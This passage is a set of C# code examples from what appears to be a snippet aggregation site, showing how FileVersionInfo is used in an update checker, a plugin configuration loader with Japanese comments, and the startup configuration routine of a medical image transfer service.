                var ver        = FileVersionInfo.GetVersionInfo(System.Reflection.Assembly.GetExecutingAssembly().Location).FileVersion;
                var curVersion = new Version(ver);

                if (curVersion.CompareTo(v) < 0)
                {
                    Update up = new Update();

                    up.Message = "Version: " + v.ToString().Substring(0, 5) + "\n\nChange Log:\n" + changeLog + "\n\nPlease visit the website to download the update.";
                    up.Show();
                }
            }
            catch (Exception ex)
            {
                FlexibleMessageBox.Show("There was an issue checking for updates. \n" + ex.Message, "Updater Error", MessageBoxButtons.OK, MessageBoxIcon.None);
            }
        }
Beispiel #28
0
        private static String GetProductName()
        {
            FileVersionInfo fileVer = FileVersionInfo.GetVersionInfo(Assembly.GetEntryAssembly().Location);

            return(fileVer.ProductName);
        }
Beispiel #29
0
        // 設定ファイル読み込み
        public void LoadConfig()
        {
            if (!File.Exists(configPath))
            {
                //Configファイルが存在しないなら新規作成
                CreateNewSetting();
                return;
            }

            // 設定ファイル読み込みにトライ
            try
            {
                using (var fileStream = new FileStream(configPath, FileMode.Open))
                {
                    using (var streamReader = new StreamReader(fileStream, Encoding.UTF8))
                    {
                        //データの整理
                        var xmlSerializer = new XmlSerializer(typeof(ConfigData));

                        //データのコピー
                        configData = (ConfigData)xmlSerializer.Deserialize(streamReader);
                    }

                    //filestreamをクローズして解放する
                    fileStream.Close();
                }
            }
            catch (Exception ex)   // 失敗したら新しくファイルを作る
            {
                CreateNewSetting();
                YukarinetteLogger.Instance.Error(ex.Message);
                YukarinetteLogger.Instance.Error("設定ファイル 読み取り不可");
                YukarinetteConsoleMessage.Instance.WriteMessage(exPlugin.ConsoleName + ex.Message);
                YukarinetteConsoleMessage.Instance.WriteMessage(exPlugin.ConsoleName + "設定ファイルが読み取れませんでした。新規作成します。");
            }

            //YukarinetteConsoleMessage.Instance.WriteMessage(configData.PluginVersion);
            //YukarinetteConsoleMessage.Instance.WriteMessage(FileVersionInfo.GetVersionInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath).FileVersion);

            //もし設定ファイルのバージョンとプラグインのバージョンが不一致ならば
            if (configData.PluginVersion != FileVersionInfo.GetVersionInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath).FileVersion.ToString())
            {
                //新しい設定ファイルを作成する
                YukarinetteLogger.Instance.Error("設定ファイル バージョン相違 FileVersion: " + configData.PluginVersion + ", PluginVersion: " + FileVersionInfo.GetVersionInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath).FileVersion);
                CreateNewSetting();
                YukarinetteConsoleMessage.Instance.WriteMessage(exPlugin.ConsoleName + "設定ファイルのバージョンが違います。新規作成します。");
            }
        }
        public ConfigurationLoaderPackage LoadConfiguration(string[] args, List <string> argsList)
        {
            System.Reflection.Assembly assembly = System.Reflection.Assembly.GetEntryAssembly();
            FileVersionInfo            fvi      = FileVersionInfo.GetVersionInfo(assembly.Location);
            var version = fvi.FileVersion;

            SaveInRegistry(version);

            var newCurrentDir = assembly.Location.Substring(0, assembly.Location.LastIndexOf(Path.DirectorySeparatorChar));

            Directory.SetCurrentDirectory(newCurrentDir);

            _logger.LogInformation($"LiTE current directory = {newCurrentDir}");

            var currentDir = Directory.GetCurrentDirectory();

            _logger.Log(LogLevel.Information, $"Life Image Transfer Exchange v{version} Started");

            var stopWatch = new Stopwatch();

            var taskInfo = $"";

            stopWatch.Start();

            ExtractWindowsDCMTK();
            var platform = DetectPlatform();

            string startupConfigFilePath = _liteConfigService.GetDefaults().StartupConfigFilePath;

            _logger.Log(LogLevel.Warning, $"startupConfigFilePath: {startupConfigFilePath} Profiles: {_util.GetTempFolder(Constants.Dirs.Profiles)}");

            //2019-05-22 shb copy profile files to working folder.  Needed for read-only installs such as OSX .app bundle and docker/kubernetes
            if (!Directory.Exists(_util.GetTempFolder(Constants.Dirs.Profiles)))
            {
                _logger.Log(LogLevel.Warning, $"{_util.GetTempFolder(Constants.Dirs.Profiles)} does not exist.");
                _logger.Log(LogLevel.Warning, $"Current Directory: {Directory.GetCurrentDirectory()}");

                //TODO check legacy folder locations for existing profile and copy to new location
                if (Directory.Exists(Constants.ProgramDataDir + Path.DirectorySeparatorChar + Constants.Dirs.Profiles))
                {
                    _logger.Log(LogLevel.Warning, $"Copying legacy profiles {Constants.ProgramDataDir + Path.DirectorySeparatorChar + Constants.Dirs.Profiles}");

                    Directory.CreateDirectory(_util.GetTempFolder(Constants.Dirs.Profiles));
                    foreach (string filename in Directory.EnumerateFiles(Constants.ProgramDataDir + Path.DirectorySeparatorChar + Constants.Dirs.Profiles))
                    {
                        var destfile = _util.GetTempFolder(Constants.Dirs.Profiles) + Path.DirectorySeparatorChar + filename.Substring(filename.LastIndexOf(Path.DirectorySeparatorChar));
                        _logger.Log(LogLevel.Information, $"Copying {filename} to {destfile}");

                        using FileStream SourceStream      = File.Open(filename, FileMode.Open, FileAccess.Read);
                        using FileStream DestinationStream = File.Create(destfile);
                        SourceStream.CopyTo(DestinationStream);
                    }
                }
                else if (Directory.Exists(Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + Constants.Dirs.Profiles))
                {
                    _logger.Log(LogLevel.Warning, $"Copying default profiles {Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + Constants.Dirs.Profiles}");

                    Directory.CreateDirectory(_util.GetTempFolder(Constants.Dirs.Profiles));
                    foreach (string filename in Directory.EnumerateFiles(Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + Constants.Dirs.Profiles))
                    {
                        var destfile = _util.GetTempFolder(Constants.Dirs.Profiles) + Path.DirectorySeparatorChar + filename.Substring(filename.LastIndexOf(Path.DirectorySeparatorChar));
                        _logger.Log(LogLevel.Information, $"Copying {filename} to {destfile}");

                        using FileStream SourceStream      = File.Open(filename, FileMode.Open, FileAccess.Read);
                        using FileStream DestinationStream = File.Create(destfile);
                        SourceStream.CopyTo(DestinationStream);
                    }
                }
                else
                {
                    _logger.Log(LogLevel.Warning, $"{Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + Constants.Dirs.Profiles} does not exist.");
                }
            }

            var startupProfile = _profileLoaderService.LoadStartupConfiguration(startupConfigFilePath);

            if (startupProfile.startupParams.localProfilePath != _util.GetTempFolder(startupProfile.startupParams.localProfilePath))
            {
                _logger.Log(LogLevel.Warning, $"Changing startupProfile.startupParams.localProfilePath: {startupProfile.startupParams.localProfilePath} to {_util.GetTempFolder(startupProfile.startupParams.localProfilePath)}");

                startupProfile.startupParams.localProfilePath = _util.GetTempFolder(startupProfile.startupParams.localProfilePath);
                startupProfile.startupParams.saveProfilePath  = _util.GetTempFolder(startupProfile.startupParams.saveProfilePath);
                _profileFileWriter.Save(startupProfile, startupConfigFilePath);
            }

            // ulong installedMemory;
            // MEMORYSTATUSEX memStatus = new MEMORYSTATUSEX();
            // if (GlobalMemoryStatusEx(memStatus))
            // {
            //     installedMemory = memStatus.ullTotalPhys;
            // }


            //ShowGreetings();

            // load the logger
            //var profile = new Profile(Logger.logger);
            var profile = new Profile();

            //profile.logger

            // todo: load logger

            // check for setup
            // if (args.Length != 0 && args[0].ToLower() != "setup")
            // {
            //     profile = loadArgs(args, profile);   // re-assign, can be replaced

            //     LITE.SaveToStartupConfigration(profile);
            // }
            // else
            // {
            //startupProfile = Profile.LoadStartupConfiguration();
            startupProfile = _profileLoaderService.LoadStartupConfiguration(startupConfigFilePath);
            profile        = startupProfile;
            //                    }

            //                    _logger.LogLevel = profile.logger.logLevel;
            Logger.logger.ConsoleTraceLevel = profile.logger.ConsoleTraceLevel;
            Logger.logger.FileTraceLevel    = profile.logger.FileTraceLevel;
            Logger.logger.SplunkTraceLevel  = profile.logger.SplunkTraceLevel;
            Logger.logger.TracePattern      = profile.logger.TracePattern;

            _logger.Log(LogLevel.Debug, $"Startup Configuration: {profile}");

            //setup
            if (args != null && args.Length > 0 && args[0] != null && args[0] == "setup")
            {
                bool exitCode = false;

                if (args.Length == 1)
                {
                    Setup.EnterSetup(profile);
                }
                else
                {
                    var arg = argsList.Find(x => x.Contains("register="));
                    if (arg != null)
                    {
                        var regParamList = argsList.Find(x => x.Contains("register=")).Substring(9);

                        var regParams = regParamList.Split(',');
                        if (regParams.Length == 4)
                        {
                            exitCode = Setup.Register(regParams, profile);
                            _util.ConfigureService(true);
                        }
                        else
                        {
                            _logger.Log(LogLevel.Information, "Lite Registration: Lite register=\"username,password,orgcode,servicename\"");
                        }
                    }
                    else
                    {
                        var argUninstall = argsList.Find(x => x.Contains("uninstall"));
                        if (argUninstall != null)
                        {
                            _util.ConfigureService(false);
                        }
                    }
                }

                Environment.Exit((exitCode == false) ? 0 : 1);
            }

            // recovery loop
            _logger.Log(LogLevel.Information, "Life Image Transfer Exchange - Starting Processing");
            profile.lastStartup = DateTime.Now;

            //instantiate the class instance

            //var lite = new LITE(profile);

            profile.runningCodeVersion = version;
            //LITE.profile.runningCodeVersion = version;

            _logger.Log(LogLevel.Information, $"{taskInfo} Running time: {stopWatch.Elapsed}");

            return(new ConfigurationLoaderPackage(profile, platform, version));
        }